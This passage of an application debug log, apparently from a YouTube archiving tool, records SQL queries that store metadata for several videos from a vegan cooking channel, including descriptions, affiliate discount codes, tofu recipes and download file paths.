https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:33 - Hawaiian BBQ Tofu\n3:12 - Mapo Tofu\n6:08 - Kung Pao Tofu\n9:14 - Pesto Tofu\n11:28 - Sesame Ginger Tofu", "I eat these tofu recipes ON REPEAT (my best ones EVER)", "c69cbcbf-bd2d-4e04-8cf8-2c41bf8bef4c", 1, [], false, "UYPmtB-kcME", "https://www.youtube.com/watch?v=UYPmtB-kcME", 28, "/downloads/downloads/alec/Steamy Vegan/2026-01-03 I eat these tofu recipes ON REPEAT (my best ones EVER)/I eat these tofu recipes ON REPEAT (my best ones EVER) [UYPmtB-kcME].NA", false, false, false, 1, ~U[2026-01-03 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThese 5 tofu recipes are my typical go-to vegan recipes that I eat in a week. If you're new to the plant-based diet or want to add a few easy vegan recipes to your rotation then these tofu recipes will be perfect for you.\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nTOFU RECIPES IN THIS VIDEO (YouTube Video & Recipe Blog Links 👇🏻)\n\n1. Sesame Ginger Tofu Recipe ➡️ https://steamyvegan.com/sesame-ginger...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n\n2. Pesto Tofu Recipe ➡️ https://steamyvegan.com/pesto-tofu/\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\n\n3. Mapo Tofu Recipe ➡️ https://steamyvegan.com/mapo-tofu/\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\n\n4. Kung Pao Tofu Recipe ➡️ https://steamyvegan.com/kung-pao-tofu/\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A0Two\u00A0MUST\u00A0TRY\u00A0Tofu\u00A0Recipes!\u00A0🌶🔥\u00A0(Ft.\u00A0@Earthy...\u00A0\u00A0\n\n5. Hawaiian BBQ Tofu Recipe ➡️ https://steamyvegan.com/hawaiian-bbq-...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:33 - Hawaiian BBQ Tofu\n3:12 - Mapo Tofu\n6:08 - Kung Pao Tofu\n9:14 - Pesto Tofu\n11:28 - Sesame Ginger Tofu", "I eat these tofu recipes ON REPEAT (my best ones EVER)", 1, nil, false, "UYPmtB-kcME", "https://www.youtube.com/watch?v=UYPmtB-kcME", "/downloads/downloads/alec/Steamy Vegan/2026-01-03 I eat these tofu recipes ON REPEAT (my best ones EVER)/I eat these tofu recipes ON REPEAT (my best ones EVER) [UYPmtB-kcME].NA", false, ~U[2026-01-03 00:00:00Z]] 20:31:06.332 [debug] QUERY OK source="sources" db=0.4ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.334 [debug] QUERY OK source="media_items" db=1.7ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-01 00:00:00Z], 1] 20:31:06.337 [debug] QUERY OK source="media_items" db=2.2ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nI eat these 5 vegan recipes almost every week and they were some of the most popular healthy, high-protein vegan recipes on my blog this past year. If you're new to eating vegan then I'd highly recommend starting with these recipes if you're trying to eat healthy, high-protein recipes that don't sacrifice flavor. \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nMY TOP 5 RECIPES OF 2025 (Recipe blogs and YouTube Videos) 👇🏻\nVegan Sausages ➡️ https://steamyvegan.com/vegan-sausages/\nRecipe video 🥄 \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n\nVegan Ginger Beef ➡️ https://steamyvegan.com/vegan-ginger-...\nRecipe video 🥄 \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Ginger\u00A0Beef\u00A0Stir\u00A0Fry!\u00A0EASY\u00A020\u00A0Minute...\u00A0\u00A0\n\nYellow Thai Curry Casserole ➡️ https://steamyvegan.com/vegan-thai-in...\nRecipe video 🥄 \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0Thai\u00A0Meal\u00A0Prep!\u00A04\u00A0Vegan\u00A0and\u00A0Gluten...\u00A0\u00A0\n\nBacon Cheeseburger Casserole ➡️ https://steamyvegan.com/bacon-cheeseb...\nRecipe video 🥄 \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Bacon\u00A0Cheeseburger\u00A0Dump\u00A0and\u00A0Bake\u00A0Cas...\u00A0\u00A0\n\n20-Minute Tofu Noodle Bowl ⬇️ Recipe below!\n\n8 oz spaghetti or brown rice ramen\n8 oz broccoli\n8 oz bok choy\nOther veg options: green beans, cabbage, kale\n\n16 oz extra firm tofu\n1 tbsp nutritional yeast\n1 tbsp soy sauce or tamari\n1 tsp garlic powder\n1 tsp ginger powder\n1 tsp Chinese 5 spice powder, sub for a mix of cloves, cinnamon and ground anise\n\n1/2 cup tahini and/or peanut butter\n2 tbsp fresh lime juice\n1 tbsp soy sauce or tamari\n1 tsp red chili flakes or chili oil\nwater to thin out sauce as needed\n\n1. Bring a large pot of salted water to a boil and cook your noodles of choice according to package directions. When they're about 3 minutes away from being al dente, throw in the broccoli and bok choy to cook for the remaining 3 minutes with the noodles. You want them to be bright green. Then, strain the noodles and veg in a colander and rinse in cool water, then set aside.\n2. While the water for the noodles comes to a boil, warm a tbsp of oil in large skillet over medium heat. Crumble the tofu into the skillet and add the soy sauce, nutritional yeast, garlic, ginger and 5 spice powder. Stir well to combine, then let it cook for about 11 to 14 minutes, allowing the tofu to brown nicely. Give it a stir every 3 to 4 minutes, scraping off any brown bits off the bottom.\n3. In a mixing bowl combine the tahini and/or peanut butter, soy sauce, lime juice and chili flakes until smooth and drippy. Add 3 to 5 tbsp of water as needed if it's too thick.\n4. Add the strained and rinsed noodles and veg into a large mixing bowl, or back into the pot you cooked the noodles in, and pour in the sauce. Gently stir to combine, I find using tongs to be most effective. Then fold in the cooked tofu crumbles.\n5. Garnishes make the dish! My personal suggestions are a large handful of fresh chopped Thai basil, chili oil and roasted sesame seeds. Enjoy!\n\n\nProducts Mentioned in this Video:\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\n\n💚 OTHER Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I D" <> ..., "5 Must Try Vegan Recipes to Master in 2026!", "15d30f9e-ba2b-4ebb-8742-73c175272ddf", 1, [], false, "wPlJl4l5Kzs", "https://www.youtube.com/watch?v=wPlJl4l5Kzs", 29, "/downloads/downloads/alec/Steamy Vegan/2026-01-01 5 Must Try Vegan Recipes to Master in 2026!/5 Must Try Vegan Recipes to Master in 2026! [wPlJl4l5Kzs].NA", false, false, false, 1, ~U[2026-01-01 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nI eat these 5 vegan recipes almost every week and they were some of the most popular healthy, high-protein vegan recipes on my blog this past year. If you're new to eating vegan then I'd highly recommend starting with these recipes if you're trying to eat healthy, high-protein recipes that don't sacrifice flavor. \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nMY TOP 5 RECIPES OF 2025 (Recipe blogs and YouTube Videos) 👇🏻\nVegan Sausages ➡️ https://steamyvegan.com/vegan-sausages/\nRecipe video 🥄 \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n\nVegan Ginger Beef ➡️ https://steamyvegan.com/vegan-ginger-...\nRecipe video 🥄 \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Ginger\u00A0Beef\u00A0Stir\u00A0Fry!\u00A0EASY\u00A020\u00A0Minute...\u00A0\u00A0\n\nYellow Thai Curry Casserole ➡️ https://steamyvegan.com/vegan-thai-in...\nRecipe video 🥄 \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0Thai\u00A0Meal\u00A0Prep!\u00A04\u00A0Vegan\u00A0and\u00A0Gluten...\u00A0\u00A0\n\nBacon Cheeseburger Casserole ➡️ https://steamyvegan.com/bacon-cheeseb...\nRecipe video 🥄 \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Bacon\u00A0Cheeseburger\u00A0Dump\u00A0and\u00A0Bake\u00A0Cas...\u00A0\u00A0\n\n20-Minute Tofu Noodle Bowl ⬇️ Recipe below!\n\n8 oz spaghetti or brown rice ramen\n8 oz broccoli\n8 oz bok choy\nOther veg options: green beans, cabbage, kale\n\n16 oz extra firm tofu\n1 tbsp nutritional yeast\n1 tbsp soy sauce or tamari\n1 tsp garlic powder\n1 tsp ginger powder\n1 tsp Chinese 5 spice powder, sub for a mix of cloves, cinnamon and ground anise\n\n1/2 cup tahini and/or peanut butter\n2 tbsp fresh lime juice\n1 tbsp soy sauce or tamari\n1 tsp red chili flakes or chili oil\nwater to thin out sauce as needed\n\n1. Bring a large pot of salted water to a boil and cook your noodles of choice according to package directions. When they're about 3 minutes away from being al dente, throw in the broccoli and bok choy to cook for the remaining 3 minutes with the noodles. You want them to be bright green. Then, strain the noodles and veg in a colander and rinse in cool water, then set aside.\n2. While the water for the noodles comes to a boil, warm a tbsp of oil in large skillet over medium heat. Crumble the tofu into the skil (truncated) 20:31:06.338 [debug] QUERY OK source="sources" db=0.8ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.340 [debug] QUERY OK source="media_items" db=1.9ms queue=0.2ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-28 00:00:00Z], 1] 20:31:06.351 [debug] QUERY OK source="media_items" db=9.7ms idle=8.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nIn this Costco grocery haul, I'll show you all of the healthy, high-protein and vegan groceries I buy for a household of two. This Costco grocery haul was done in Vancouver, Canada so you may have different vegan options in your Costco as every location seems to vary a bit. Let me know which plant-based groceries you like to buy in your Costco in the comments! \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCHECK ME OUT OVER HERE TOO!\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nPREVIOUS RECIPE VIDEOS ⬇️\n2 tofu recipes even MEAT eaters will devour | Easy vegan recipes 🔗 \u00A0\u00A0\u00A0•\u00A02\u00A0tofu\u00A0recipes\u00A0even\u00A0MEAT\u00A0eaters\u00A0will\u00A0devou...\u00A0\u00A0\nThis lentil recipe is a MUST TRY (no tofu, oil-free, GF, and WFPB) 🔗 \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0is\u00A0a\u00A0MUST\u00A0TRY\u00A0(no\u00A0tofu,...\u00A0\u00A0\nVEGAN Bolognese 🔗 \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Bolognese\u00A0|\u00A0Cook\u00A0With\u00A0Me!\u00A0🍝\u00A0(Using\u00A0m...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle", "Costco High Protein Vegan Grocery Haul 🛒", "39b38c70-7811-4ae2-b35c-fd2be6889d66", 1, [], false, "t1FBCUlCdRk", "https://www.youtube.com/watch?v=t1FBCUlCdRk", 30, "/downloads/downloads/alec/Steamy Vegan/2025-12-28 Costco High Protein Vegan Grocery Haul 🛒/Costco High Protein Vegan Grocery Haul 🛒 [t1FBCUlCdRk].NA", false, false, false, 1, ~U[2025-12-28 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nIn this Costco grocery haul, I'll show you all of the healthy, high-protein and vegan groceries I buy for a household of two. This Costco grocery haul was done in Vancouver, Canada so you may have different vegan options in your Costco as every location seems to vary a bit. Let me know which plant-based groceries you like to buy in your Costco in the comments! \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCHECK ME OUT OVER HERE TOO!\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nPREVIOUS RECIPE VIDEOS ⬇️\n2 tofu recipes even MEAT eaters will devour | Easy vegan recipes 🔗 \u00A0\u00A0\u00A0•\u00A02\u00A0tofu\u00A0recipes\u00A0even\u00A0MEAT\u00A0eaters\u00A0will\u00A0devou...\u00A0\u00A0\nThis lentil recipe is a MUST TRY (no tofu, oil-free, GF, and WFPB) 🔗 \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0is\u00A0a\u00A0MUST\u00A0TRY\u00A0(no\u00A0tofu,...\u00A0\u00A0\nVEGAN Bolognese 🔗 \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Bolognese\u00A0|\u00A0Cook\u00A0With\u00A0Me!\u00A0🍝\u00A0(Using\u00A0m...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle", "Costco High Protein Vegan Grocery Haul 🛒", 1, nil, false, "t1FBCUlCdRk", "https://www.youtube.com/watch?v=t1FBCUlCdRk", "/downloads/downloads/alec/Steamy Vegan/2025-12-28 Costco High Protein Vegan Grocery Haul 🛒/Costco High Protein Vegan Grocery Haul 🛒 [t1FBCUlCdRk].NA", false, ~U[2025-12-28 00:00:00Z]] 20:31:06.351 [debug] QUERY OK source="sources" db=0.5ms idle=16.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.353 [debug] QUERY OK source="media_items" db=1.9ms idle=14.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-26 00:00:00Z], 1] 20:31:06.357 [debug] QUERY OK source="media_items" db=2.5ms idle=15.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Want to master cooking with tofu? These two tofu recipes are the perfect ones to start with, plus find dozens of other tofu recipes on the channel.\nSubscribe to the channel here (FREE!): https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the recipes for both tofu recipes on my blog!\nLEMON PEPPER TOFU ➡️ https://steamyvegan.com/lemon-pepper-...\nMAPLE MUSTARD TOFU ➡️ https://steamyvegan.com/maple-mustard...\n\nOther Tofu Recipes to Check out on the Channel: \nPesto Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTeriyaki Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTofu Sausages ➡️ \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\nGochujang and Mango Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0SAUCY\u00A0Tofu\u00A0Recipes\u00A0You\u00A0Need\u00A0in\u00A0Your\u00A0Life!\u00A0\u00A0\nMapo Tofu ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\nSesame Ginger Tofu ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nTofu Souvlaki from my Greek Meal Prep ➡️ \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\n\n💚 PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "2 tofu recipes even MEAT eaters will devour | Easy vegan recipes", "24c766c5-6bbb-4adf-8475-a6b8a9d7a281", 1, [], false, "SsYdc2B_2xA", "https://www.youtube.com/watch?v=SsYdc2B_2xA", 31, "/downloads/downloads/alec/Steamy Vegan/2025-12-26 2 tofu recipes even MEAT eaters will devour | Easy vegan recipes/2 tofu recipes even MEAT eaters will devour | Easy vegan recipes [SsYdc2B_2xA].NA", false, false, false, 2, ~U[2025-12-26 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Want to master cooking with tofu? These two tofu recipes are the perfect ones to start with, plus find dozens of other tofu recipes on the channel.\nSubscribe to the channel here (FREE!): https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the recipes for both tofu recipes on my blog!\nLEMON PEPPER TOFU ➡️ https://steamyvegan.com/lemon-pepper-...\nMAPLE MUSTARD TOFU ➡️ https://steamyvegan.com/maple-mustard...\n\nOther Tofu Recipes to Check out on the Channel: \nPesto Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTeriyaki Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTofu Sausages ➡️ \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\nGochujang and Mango Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0SAUCY\u00A0Tofu\u00A0Recipes\u00A0You\u00A0Need\u00A0in\u00A0Your\u00A0Life!\u00A0\u00A0\nMapo Tofu ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\nSesame Ginger Tofu ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nTofu Souvlaki from my Greek Meal Prep ➡️ \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\n\n💚 PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive 